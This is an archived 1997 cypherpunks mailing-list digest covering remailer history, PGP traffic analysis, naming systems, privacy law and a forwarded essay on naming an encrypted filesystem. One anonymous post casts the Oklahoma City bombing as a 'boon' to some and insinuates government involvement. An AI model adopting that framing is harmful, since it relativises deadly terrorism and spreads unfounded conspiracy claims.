  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Wed, 4 Jun 1997 08:35:12 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Who "invented" remailers?
In-Reply-To: <v03102807afba566172be@[207.167.93.63]>
Message-ID: <199706040027.UAA11558@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



OK I'll partially retract the anti-government ranters comment
since Tim wants to be included in it :-) I think it was clear where
the comment was aimed however...

> The Kleinpaste/Julf "remailer" lacks basic security provisions, and is more
> properly called an "anonymizing service," in my opinion. (I'm not familiar
> with the "Stephi" story, but I know Kleinpaste wrote up a simple
> anonymizing service, which he claims he did in one evening, and decided not
> to support it; he transferred the code to Julf, who supported and (I
> presume) enhanced it, and the rest is history).

All you need to do to have a complete history of the remailer history
is to add in the event that caused Kleinpaste to write the code.. I remember
now, Wizvax may well have been a VMS machine and hence not congenial
to having its code ported off.

It seems that Tim did not explore the less salubrious areas of the net
but the closing down of Wizvax and the first anonymizing mailer was closely
followed by another service whose name I forget but the name Kleinpaste 
certainly rings a bell. 1992 would be about the right time period as
well. Elf Sternberg at Compuserve might well remember the rest of the story.


I agree that the Julf mailer had big problems operations wise but I fear 
that the current mixmaster setup is a bit too unweildy for naive use.
Like PGP I tend to see it as an advert to the authorities that you are 
likely to be up to no good. The CIA can probably find the information they
really want by simply tracking PGP messages on the net and doing trafic 
analysis, same goes for the mixmaster class servers and the problem 
remains that there is no response facility.

I had an idea for an anonymous contact server in the Julf mould that was
resistant to the legal attack. No logs of email addresses would ever
be kept, to retreive responses from the server one would have to send
a retrieval request to it, possibly including a password.

For one time uses this would be enough. But if you wanted to get more
comprehensive deniability you could require use of encryption and 
send back all the messages recieved within a particular partition of
the database. Its pretty difficult to get a good system that allows
a two way communication to be sustained.


The idea was inspired by the crypto-SPAM refusal list that I'm currently
doing a beta test on, try:-

http://etna.ai.mit.edu/SPAM/

Just don't tell the censorware folks...


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 4 Jun 1997 13:29:31 +0800
To: "Peter Trei" <cypherpunks@cyberpass.net
Subject: Re: [OFF-TOPIC] Naming systems...
In-Reply-To: <199706032014.NAA06953@rigel.cyberpass.net>
Message-ID: <v0300781eafba90c30917@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:32 AM -0700 6/3/97, Peter Trei wrote:
>With the old Norse system, still used in Iceland, there is a tremendous
>namespace-collision problem.

There is also a namespace collapse problem in China.  They have a
patrilineal family naming convention much like the one that is common in
the USA.  However the naming system has been stable for thousands of years.
In that time, some names have died out (only girl babies).  They somewhat
avoid the associated namespace collision problem by being imaginative with
given names.

To avoid namespace collapse, you need to continually introduce new names.
If Iceland didn't limit given names, the problem would go away.  For
example: I know a Catnip Echoridge Fredrick.  I bet Catnipsson would expand
the namespace.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 4 Jun 1997 11:37:30 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Webpage picketing...
Message-ID: <199706040156.UAA17179@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

I was just reviewing the various emails on this topic trying to create a
cogent whole, or at least the start of it. Anyway, I realize that at least
one cpunk out there seems to seriously think that I brought this subject up
with regards to the 'criminal libel' issue and wanting to send some sort
of message to others. Hardly. That started yesterday, way after I was already
looking at the issue. Furthermore, I no more want to slap more spin doctor
output in front of others than to have to look at it myself. I was mainly
trying to make a prediction about the future and then seeing, if reasonable,
how long it took.

Perhaps a little explanation is in order. I was going to the grocery store
the other day and the perennial grape picketers were out there. It occured
to me that some comparison between a public sidewalk and a public backbone
could be made. I began to draw comparisons and it became clear that
something was up here. It occurs to me that somebody with the right
motivation might want to claim that they have a right to put a box on such a
backbone (ie stand on the sidewalk in front of the store) and scrape for
particular addresses (ie the business they want to picket). Now the
picketers can't stop anyone from going in the store (ie packets going down
the pipe) by they can attempt to talk to them as well as wave large lettered
signs in their face (ie put a short banner page on their screen). A webpage
could do this by putting up a single page with a continue button (ie a path
to the door of the store). You could no more stop them from searching
packets than you could stop somebody from standing or walking beside you
down a public street.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Asgaard <asgaard@cor.sos.sll.se>
Date: Wed, 4 Jun 1997 03:22:06 +0800
To: Marc Rotenberg <rotenberg@epic.org>
Subject: Re: Rotenberg as the Uber Enemy
In-Reply-To: <v0300781bafb9d67eb5c2@[204.91.138.31]>
Message-ID: <Pine.HPP.3.91.970603203022.19822E-100000@cor.sos.sll.se>
MIME-Version: 1.0
Content-Type: text/plain



Marc Rotenberg wrote:

>Similarly, Anitha Bondestam, director general of the Data Inspection
>Board of Sweden, writes in a recent report, "It is more important
>than ever to bring back anonymity and make more room for personal
>space." She urges her colleagues to sharply limit the collection of
>personal data.

A Swedish free-lance journalist and author of well researched books
on the information society, Anders Olsson, have some interesting
things to say on the likes of Anita Bondestam, from sort of a 'leftish'
democratic viewpoint. He sees the achievements of the 'establishment
privacy mafia' as mainly preventing 'the people' from keeping track of
the wheelings and dealings of the nomenclatura for it's own benifit,
and he doesn't think that this is unintentional.

Data privacy laws are certainly an obstacle for sociologic research,
among other things, and research results can be threatening to
bureaucrats, plutocrats and monopolists.

Laws against matching various 'public' registers for multiple entries
are also making life easier for tax evaders (who might be libertarian
heroes of course, but remember that for most salary-dependent people
of lesser income it works like this: the more the entrepreneurs evade
taxes, the more they have to pay to support the nomenclatura) but
also for welfare cheaters and the like (not libertarian heroes!).


Asgaard








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 12:35:10 +0800
To: cypherpunks@Algebra.COM
Subject: Ranting Anarchists Re: Who "invented" remailers?
In-Reply-To: <199706032129.RAA10938@muesli.ai.mit.edu>
Message-ID: <3.0.1.32.19970603212944.00744870@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:50 PM 6/3/97 -0700, Tim May wrote:
>And so this was very probably what Duncan meant when he said some of the
>ranting faction were the inventors of remailers.
>
>(Both Eric and Hugh are known to rant, or at least have done so at various
>times. Eric had some memorable rants at the 1995 CFP when he loudly
>declared to the National Research Council fact-finding committee, "I am a
>crypto anarchist.")
...
>I'm satisfied with my contributions, even if you think the ranters are
>doing nothing to help the causes you apparently support.

For an almost totally off-topic followup, there was a religious sect
in England in the mid-1600s called the "Ranters"; one of the books by
Quaker writer Robert Barclay is called "Anarchy of the Ranters"
(he was against them ...)

Here on Cypherpunks, we've got the "Ranting of the Anarchists" :-)

Another writer on the Net, who's more pro-Ranter, says that
> No evidence suggests that any Ranter ever took an interest in Islam. 
> However, there exists some reason to believe in connections between 
> Ranterism and piracy. A "Ranter's Bay" in Madagascar sheltered a 
> pirate utopia later in the 17th century, and a number of Ranters were 
> exiled to the Caribbean during the "Golden Age of Piracy" there. 

Nothing new under the Sun...



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Wed, 4 Jun 1997 10:37:43 +0800
To: cypherpunks@Algebra.COM
Subject: Cryptographic Mythology (fwd)
Message-ID: <199706040230.WAA12900@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from proff@suburbia.net -----

>From cpunks  Tue Jun  3 12:16:18 1997
From: proff@suburbia.net
Message-ID: <19970603160344.26296.qmail@suburbia.net>
Subject: Cryptographic Mythology
To: firewalls@greatcircle.com
Date: Wed, 4 Jun 1997 02:03:43 +1000 (EST)
X-Mailer: ELM [version 2.4ME+ PL28 (25)]
Sender: owner-cypherpunks@toad.com
Precedence: bulk


Here is something to amuse, delight and horrify - the tail of:

       _One Man's Search for a Cryptographic Mythology_.

I recently wrote a VNODE (4.4bsd) based encrypted file-system. Now
the day dawned when I decided it was high time to discard my rather
egocentric working name _Proffs_ (i.e Proff File System) and cast
about for a decent, respectable name. My first thought on this
matter was:

CERBERUS, n. The watch-dog of Hades, whose duty it was to guard
   the entrance -- against whom or what does not
   clearly appear; everybody, sooner or later, had to go there,
   and nobody wanted to carry off the entrance. Cerberus is known
   to have had three heads, and some of the poets have credited
   him with as many as a hundred.

Only, what was the relation between KERBEROS and CERBERUS? Pups
from the same litter, or was the relationship a little more
incestuous? I had to find out. There was no way - n o  w a y - I'd be
having my encrypted file system playing second fiddle to that evil
authentication beast.

KERBEROS; also spelled Cerberus.  n.  The watch dog of
   Hades, whose duty it was to guard the entrance--against
   whom or what does not clearly appear; . . . it is known
   to have had three heads. . .

Mythology couldn't get any more incestuous than that.

450,000 bytes of Greek polytheism later, and I'm wondering if the
Gods of Olympus really had any high-paid guards to speak of except
the multi-headed mongrel from Hades. I'm feeling down. I'm cursing
the Ancients. I'm disrespectfully humming tunes `All and All it's
Just Another Greek in the Wall', and `Athena be my Lover' when I
discover:

JANUS: in Roman mythology, custodian of the universe, god of
   beginnings. The guardian of gates and doors, he held
   sacred the first hour of the day, first day of the month, and
   first month of the year (which bears his name). He is represented
   with two bearded faces set back to back.

Custodian of the universe. Guardian of gates and doors. Cooool.
Janus.  January. I like it.  Only while I'm liking it, I'm thinking
that I've heard the word Janus a lot before. I'm thinking it isn't
just me who has looked up from the middle of a Greek mythology
text, whilst in the throes of a name hunt with the words "Cooool"
on their tongue.  No: the Gods just don't smile on me that way.
AltaVista confirms the truth of Heaven's bad attitude towards me.
17,423 references.  _The Janus Mutual Trade Fund_, _The Janus
Project_, _Janus ADA95_, a dozen ISPs from Canada (what is it WITH
these Canadians?), _Janus' cool word list_ (turns out to be not so
cool), _The Janus Ensemble_, _Hotel Janus_, _Janus Theatre_,
_janus.com_, _janusfunds.com_, _Janus_ an Australian Police drama
series and of course, the sixth moon of Saturn - _Janus_. Janus is
out-of-the-picture. I'm not sure whether to feel smug or grim about
the rest of the world's lack of originality.

Guards. Guardians. The Greeks didn't have many with bite and I'm
loosing patience with the whole culture. Euphrosyne, Aglaia, and
Thalia do not grace me.  What I need is something that evokes
passion within my cryptographic domain. And when you come down to
it, that means something which produces copious amounts of gore
and blood, at will, from those who would dare to pass its demesne
of protection.

     The Erinyes, or Furies, were three goddesses who punished by
     their secret stings the crimes of those who escaped or defied
     public justice. The heads of the Furies were wreathed with
     serpents, and their whole appearance was terrific and appalling.
     Their names were Alecto, Tisiphone, and Megaera.  They were
     also called Eumenides.

Aye. Plenty of gore there. But somewhat lacking in cryptographic
analogy.  Fantastic material for the group that doesn't meet at
number 41 every Saturday night though. They will appreciate what
the Erinyes were trying to achieve.

Somewhat heartened, my mind turns to the Erinyes' dress sense. "..heads
of the Furies were wreathed with serpents, and their whole appearance
was terrific and appalling". Terrific. Serpents.

Terrific \Ter*rif"ic\, a. [L. terrificus; fr. terrere: to frighten
   + facere: to make. See Terror, and Fact.] Causing
   terror; adapted to excite great fear or dread; terrible; as, a
   terrific form; a terrific sight.

Is it a symptom of society in decay that this word has come to mean:

Excellent \Ex"cel*lent\, a. [F. excellent, L. excellens, -entis,
   p. pr. of excellere. See Excel.] 1. Excelling;
   surpassing others in some good quality or the sum of qualities;
   of great worth; eminent, in a good sense; superior, as an
   excellent man, artist, citizen, husband, discourse, book, song,
   etc.; excellent breeding, principles, aims, action.

Or as Milton would say:

   To love . . . What I see excellent in good or fair.

On the other hand, David Hume (1711-1776):

   The more exquisite any good is, of which a small specimen is
   afforded us, the sharper is the evil, allied to it; and few
   exceptions are found to this uniform law of nature. The most
   sprightly wit borders on madness; the highest effusions of joy
   produce the deepest melancholy; the most ravishing pleasures
   are attended with the most cruel lassitude and disgust; the most
   flattering hopes make way for the severest disappointments. And,
   in general, no course of life has such safety (for happiness is
   not to be dreamed of) as the temperate and moderate, which
   maintains, as far as possible, a mediocrity, and a kind of
   insensibility, in every thing.

Perhaps it is the sign of a brain in decay, rather than a society
that I dwell on it so, because Terrific hair serpents of course
lead unfailing into the arms of the Medusa. A guardian of fearsome
looks, but dubious motivations according to authorities like Clash
of the Titans (1981). A moot point, perhaps as Princeton's
history department no longer wants to talk to me. I'm cast adrift,
to rely on my Plasticine childhood memories and the mythological
swamp of the web.

   NAME: Medusa
   FAVORITE PASTIME: Turning men to stone
   PLACE OF ORIGIN: Los Alamos Secret CIA Lab
   SPECIAL GIFTS: Petrified Aggregate Projectist
   FAVORITE MOVIE: Mighty Morphin' Power Rangers
   GOALS IN LIFE: To be a nice person
   FAVORITE BOOK: Madonna's biography
   PET PEEVE: Bad hair days

Jesus. I've been sucked into comic book hell. Princeton, take me
back.  I won't curse at the ancient Greek's sexual proclivities
anymore. I'm sure chaste marriages were very daunting to those yet
to have them. I was only joking. Lighten up will you?

But, alas, the history faculty however was still nursing its
wounds, and was not ready to forgive me. I'd have to find an
authoritative source somewhere else. Perhaps I could filter out the
comic book hell contaminants and come up with respected history Ivy,
even if it wasn't Princeton Ivy.

   To decapitate - to castrate. The terror of the Medusa is thus
   a terror of castration that is linked to the sight of something.
   The hair upon the Medusa's head is frequently represented in
   works of art in the form of snakes, and these once again are
   derived from the castration complex. It is a remarkable fact
   that however frightening they may be in themselves, they
   nevertheless serve as a mitigation of the horror, for they
   replace the penis, the absence of which is the cause of the
   horror. This is a confirmation of the technical rule according
   to which a multiplication of penis symbols signifies castration.

   Sigmund Freud
   The Medusa's Head

You had to hand it to Sigmund. He was nothing if not authoritative,
and after reading his inspiring words on the terrific serpent haired
woman, it became clear to me that _Proffs_ and the Gorgon had somewhat
unresolved metaphorical incompatibilities. I didn't want my software
giving anyone a castration complex.

I decided to put aside the denizens of Olympus from contest verbatim.
I'd read Fraud on Perversions a few years before and knew Medusa
was just a portent of what was to come.  What I needed was another
polytheist culture entirely.  Latin didn't help me. Nearly all the
Roman Gods had been vilely plagiarised from the Greeks, Latin names
or not.  Freud knew this as well as I did.  The Norse gods were of
little assistance to me.  The only one worth paying school to was
Loki, the Norse god of mischief. Loki was a very cool fellow, which
was why his name has been appropriated as a moniker by virtually
every Bjorn, Sven, and Bob hacker to come out of Scandinavia in
the last 10 years. No, Loki was not for me.

The problem craved for a polytheist mythology outside the realm of
my, and more importantly Sigmund Freud's, Western European upbringing.
The answer to my question was by definition locked within a body of
history I didn't know an onion skin about. In order for the pilgrim
to reach the master he must first place his foot on the path, no
matter how gradual the slope up the mountain of enlightenment. Zen
Buddhism is good like that. Fabricating parables up as you go along
that is.

   Zen master Gutei raised his finger whenever he was asked a
   question about Zen. A young novice began to imitate
   him in this way. When Gutei was told about the novice's imitation,
   he sent for him and asked him if it were true. The novice admitted
   it was so. Gutei asked him if he understood. In reply the novice
   held up his index finger. Gutei promptly cut it off.  The novice
   ran from the room, howling in pain. As he reached the threshold,
   Gutei called, "Boy!". When the novice returned, Gutei raised
   his index finger. At that instant the novice was enlightened.

But wait. This Koan isn't fabricated. At least, not by me. And
unlike most Zen Koan's I think you will agree that it pleasantly
satisfies Schopenhauer's "life, without pain, has no meaning".
However, semantically I'm seeing a very unhealthy correlation to
forgetting one's encryption key and losing one's finger.

My mind is drawn to the memory of the real-life nightmare of laying
in the easy-chair of a Swanston St. hypnotherapist suite, gazing
intently into a bright, but distant red light, while chanting the
mantra "I am not cynical about hypnotherapy. I am not cynical about
hypnotherapy.  I am not cynical about an Indian doctor with a 5th
floor office decorated coup'd'Edelstien. I'm not cynical about a
man who claims that his foremost clientele are rich middle aged women
who have put their jewellery somewhere "safe" and consequently
are unable to recall the location.  I'm not cynical about a
hypnotist who extols the virtues of having a M.D. so his patients
can claim 2/3rds of the cost of these jewellery retrieval sessions
under Medicare. I'm not cynical that these middle aged women are
infact suffering from some form of Mesmer complex.  And by all the
powers in Heaven, I have no pessimism about recalling my god-damned
pass-phrase!".

I never did remember the pass-phrase and you will notice Gutei
keeps very quiet about what he does with the novice's finger. In
this particular case, given the value of the data, I would have
traded placed with Gutei's novice, before you can say "Boy! Was I
enlightened".

I put my chin on my knee, and stare at the grain of my beige
plastic monitor case. Unless I could jump into another reality
it was the end of the line for _Proffs_ and _One Man's Search
for a Cryptographic Mythology_. Boy! Was I bummed. 

One of the great sins of us programmers is procedural thinking.
And it was exactly this sort of folly I was engaging in. There were
around 6 billion other realities going about their business. I
grant you that 2 billion of these were no doubt indulging in the
confusion and diffusion of an avalanche of pseudo-random mental
images and sequences we associate with dreams, and probably another
2 billion busy expanding their minds with the powerful products of
hash or decaying into a compressive state of increasing entropy
and beer rounds. This still left a select 2 billion souls with
which to weave my work.  If I approached them directly rather than
by analysing the information trails they left behind, I'd stand a
good chance of getting my feet onto the path of cryptographic
mythological enlightenment.

I have a Swedish friend who calls himself Elk on odd days and
Godflesh on even days. Don't ask why. As far as I know he's not
bisexual. Elk listened to my quest for cryptographic myth. He
had pondered, and uncovered a diamond in the rough. MARUTUKKU.

  The third name is MARUTUKKU, Master of the arts of protection,
  chained the Mad God at the Battle. Sealed the Ancient Ones in
  their Caves, behind the Gates.

F a r  o u t. Master of the arts of protection. Chained the Mad
God.  Sealed the Ancient Ones in their Caves, behind the Gates.
Even the very word MARUTUKKU looks like it has been run through a
product cipher.

But I wasn't about to trust the work of a self-admitted Swedish
Sumeria freak who was obviously suffering from a bi-polar moniker
disorder. Was it mere coincidence that MARUTUKKU was an anagram
for KUKU MART and KUKU TRAM? I didn't want MARUTUKKU to end up as
another cog in the annals of Freudian analogy. What I
needed was the sort of Authoritative History that only Princeton's
history faculty could provide. The tablets of the Enuma Elish:

  The Akkadian Creation Epic

   Based on the translation of E. A. Speiser, with the additions
   by A. K. Grayson, Ancient Near-Eastern Texts Relating to the
   Old Testament, third edition, edited by James Pritchard (Princeton,
   1969), pp. 60-72; 501-503, with minor modifications.

   This work, the ancient Mesopotamian creation epic consisting of
   seven tablets, tells of the struggle between cosmic order and
   chaos. It is named after its opening words. It was recited on
   the fourth day of the ancient Babylonian New Year's festival.
   The text probably dates from the Old Babylonian period, i.e.,
   the early part of the second millennium B.C.E.

[...]

   The third name is MARUTUKKU  Master of the arts of protection,
   chained the Mad God at the Battle. Sealed the Ancient Ones in
   their Caves, behind the Gates.

[...]

   MARUTUKKU truly is the refuge of his land, city, and people.
   Unto him shall the people give praise forever.

All praise the MARUTUKKU! My search had born a ripe and tasty
fruit indeed. The quest for a cryptographic mythology was
complete. Or was it? The words of Hume kept coming back to me
and I had a nagging feeling that there was some substance in
them.

If MARUTUKKU was my exquisite cryptographic good, of wit, effusive
joy, ravishing pleasure and flattering hope; then where was the
counter point? The figure to its ground - the sharper evil, the
madness, the melancholy, the most cruel lassitudes and disgusts
and the severest disappointments. Was Hume right? Because if he
was, there was only one organisation this string of hellish adjectives
could represent. The cryptographic devil with its 500,000 sq feet
of office space in Maryland. But surely there could be no reference
to such an organisation in the 4,000 year old Babylonian tablets.
The idea was preposterous. Wasn't it?

TABLET VII OF THE ENUMA ELISH:

ESIZKUR shall sit aloft in the house of prayer;
   May the gods bring their presents before him, that from
   him they may receive their assignments; none can without
   him create artful works.  Four black-headed ones are
   among his creatures; aside from him no god knows the
   answer as to their days.

It's a cold and wintry night, here in Melbourne. Despite this, the
gusts of wind and rain seem to be unusually chilling. What had I,
in my search for a cryptographic mythology, stumbled onto?

I look hard at the seven letters E-S-I-Z-K-U-R. A frown turns to
a smile and then a dead pan stare. I write down:

			  IRK ZEUS

--
Prof. Julian Assange  |If you want to build a ship, don't drum up people
		      |together to collect wood and don't assign them tasks
proff@iq.org          |and work, but rather teach them to long for the endless
proff@gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery

----- End of forwarded message from proff@suburbia.net -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 12:46:54 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Who "invented" remailers?
In-Reply-To: <v0310280cafba70127c0a@[207.167.93.63]>
Message-ID: <v03102811afba9fb5ad1c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:44 PM -0700 6/3/97, Hallam-Baker wrote:

>The point I was making was rather different, I think the total volume
>of PGP mail of all types is probably not a large enough fraction of the
>trafic on the net to be secure. Taking any use of PGP as prima facie

^^^^^^^^^^
>evidence of subversive activity probably provides a reasonable cut.
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

If you mean as prosecutable offense, I don't think you fully understand the
laws of the United States. Much as we like to criticize the U.S., and bad
laws, and whatnot, there is no such thing as "prima facie evidence of
subversive activity," at least not since the House Unamerican Activities
Committee and Joe McCarthy.

If you mean that intelligence agencies are compiling data bases, perhaps
this is so. All the more reason to push for vastly more remailers, PipeNet,
etc.


>How many people in total do you have using the mixers? How many mixers
>are there?

Raph Levien posts his report regularly to the list, plus he has a Web site.
The remailer operator's list discusses issues, too.

As for how many people "I have" using remailers, just 7, and one of those
is about to be let go.

Your other points assume certain political conditions which probably no
cryptographic system can deal with. Our goal is to prevent such political
conditions from happening in the U.S.  Europe, despite its "privacy
commissioners," may already be a lost cause.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 4 Jun 1997 10:33:11 +0800
To: cypherpunks@toad.com
Subject: Guilty!
Message-ID: <199706040210.WAA04896@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



  There are now laws against everything and everyone is guilty of
something.
  The debate over McVeigh's guilt versus the government's guilt has as
little meaning as the coming debate over McVeigh's right to take a life
versus the government's right to take a life.
  The government can pass laws against the use of crypto or against the
bombing of federal buildings and the debating teams can line up to rant
about the justice or injustice being perpetrated by the individual or
by the government. In the end, we are left with the body count, whether
the body bags are filled with children or freedoms.

  Did McVeigh bomb the OKC building? Did Oswald kill Kennedy? Does it
really matter?
  If the CIA wasn't involved in the killing of JFK, they could have 
been. If the BATF wasn't involved in the OKC bombing, they could have
been. We all recognize the government's need/ability to interfere in
the natural course of events in order to retain the power they have to
"protect and defend" the country/government. What differs is our own
perception of whether our interests are better served by the government
or by those working in opposition to the government.

  When the government confiscates land to use for flood control, their
actions are a threat to those who lose a homestead and a boon to those
who will no longer be flooded. When the governement launches an assault
on Branch Davidians their actions are a threat to those with unconvent-
ional religious beliefs and a boon to those with mainstream religious
beliefs who don't want their family members' minds "stolen" by some
"cult."
  When someone bombs a Federal Building they are a threat to those who
have a vested interest in the government maintaining business as usual
and a boon to those who want the government to think twice before
blatantly assaulting the citizenry.

  In the end, we are left with a body count and the bodies are either
ours or those of others.
  In the end, we either look over our shoulder, or we don't, before we
enter a federal building, or sign a search warrant, or reply to a post
by Jim Bell.
  And, in the end, we will never know how many of the children who died
at Waco would have grown up to bomb Federal Buildings. We will never
know how many of the children who died in OKC would have grown up to
be imprisoned for using crypto, or slaughtered by another government
assault on an unorthodox religious congregation.

  In the end, every action we take will have a government assault team
or a Timothy McVeigh waiting to support or oppose it. If we oppose both
Waco and the OKC bombing, then we are a threat to both government and
anti-government factions.
  If we support free speech then we are a threat to those who might be
attacked and threatened by its use. If we support privacy we are a
threat to those who are attacked by anonymous sources. If we support
freedom, we are a threat to those who already have a place in the sun,
a piece of the pie, a position to defend.

  In the end, we are trampled to death in the crowded theater in which
someone has shouted "Fire!" or we end up in prison for shouting "Fire!"
in an *empty* theater. (And Rottenberg defends his support of the
original legislation which required at least ten people to be present
in the theater before shouting "Fire!" became a felony.)
  The bottom line is that life is a crapshoot.
  We support legislation that requires us to register our religious
faith so that the government can protect us from future religious 
discrimination and then we find out that "Lutherans" go to the death
camps. We oppose the legislation and later lose our homes and jobs 
because we have no proof of our religious affiliation.

  The bottom line is that no matter what our position in life, no matter
what our beliefs, opinions and actions, there are a few billion other
entities sharing our world who are organized into camps which support or
oppose us today and may do the opposite tomorrow.
  Even our actions in our own self-interests may work against us in the
future, as the result of a chain of external events. For all of our
positions and our posturing, we are, at best, pissing in the wind when
we join in the various pissing contests in life.

  I once had a friend whose parting phrase was always, "Don't get any
on you."
  I am beginning to understand what he meant.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 4 Jun 1997 13:34:02 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <3393682D.167E@ai.mit.edu>
Message-ID: <v03007825afbaa5a5f3c3@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
>Contrast ["milita violence"] with the brilliance of the anarchist
>Eward Abbey in "The Monkey Wrench Gang", where the anti-government
>acts were calculated to call forth popular support.

This is an important point.  When you kill people, you make implacable
enemies.  Consider the SF Bay area rescue team that is still trying to
learn how to live with the memory of the mangled bodies they found Oklahoma
City.  They hate the person(s) responsible for the bombing and they did not
even have relatives killed there.

If you at least avoid killing people, then you have fewer bitter enemies
and a better chance of holding on to your winnings.  The examples of
Gandhi, King, and Mandala come to mind.  Contrast their success with the
results of the violence approach as exemplified by the generations old wars
in Ireland and Israel.

For cypherpunks this comes down to: Make code, not bombs.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 4 Jun 1997 13:46:20 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com>
Message-ID: <3.0.2.32.19970603222933.03a82d40@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:29 PM 6/3/97 -0400, Hallam-Baker wrote:
>Actually remailers were invented by a lass called Stephi whose hobbies
>appeared to include being tied up for fun.

AFIK, remailers were invented by David Chaum.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 4 Jun 1997 15:41:49 +0800
To: ravage@EINSTEIN.ssz.com
Subject: Re: Remove this link immediately
In-Reply-To: <199706032304.TAA20710@dhp.com>
Message-ID: <3.0.1.32.19970603224831.00745fc4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>> > Your hackers resource page contains a link to my GURU'S LAIR WEB site
>>> > at http://www.tinaja.com
>>> > Please remove this link.
>>> > Please do so immediately.
>>>
>>> Short answer, no. 
>>> If you don't want links to it don't put it on the net.

Of course, if you're a Guru, you can tell people how to
block links from sites you don't like, or respond to 
requests on those links with an alternate page...

	"Become One with the Universal Resource, Link!"


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM5UBr/thU5e7emAFAQFjIgH/fTCv0PzlFe06Em8cr17K1pDm6PXMxCRk
aoI1MGRrA5xxn1Nwmmotiv4xpI2Twkt66OWNM5N6w0WWl46/wzIJqA==
=lazp
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Wed, 4 Jun 1997 12:01:37 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: McVeigh
In-Reply-To: <Pine.LNX.3.91.970603182957.90A-100000@fatmans.demon.co.uk>
Message-ID: <3394ECF3.8E8@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



> The defense is a joke, but what do you expect? Whether McVeigh did it or
> not, the government wants someone to blame and McVeigh is the idea
> target, an anti-government "evil terrorist" to parade in front of the media.
Just like Phil Zimmerman, someone screws the government back, and they
point the finger at anyone.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Wed, 4 Jun 1997 12:14:36 +0800
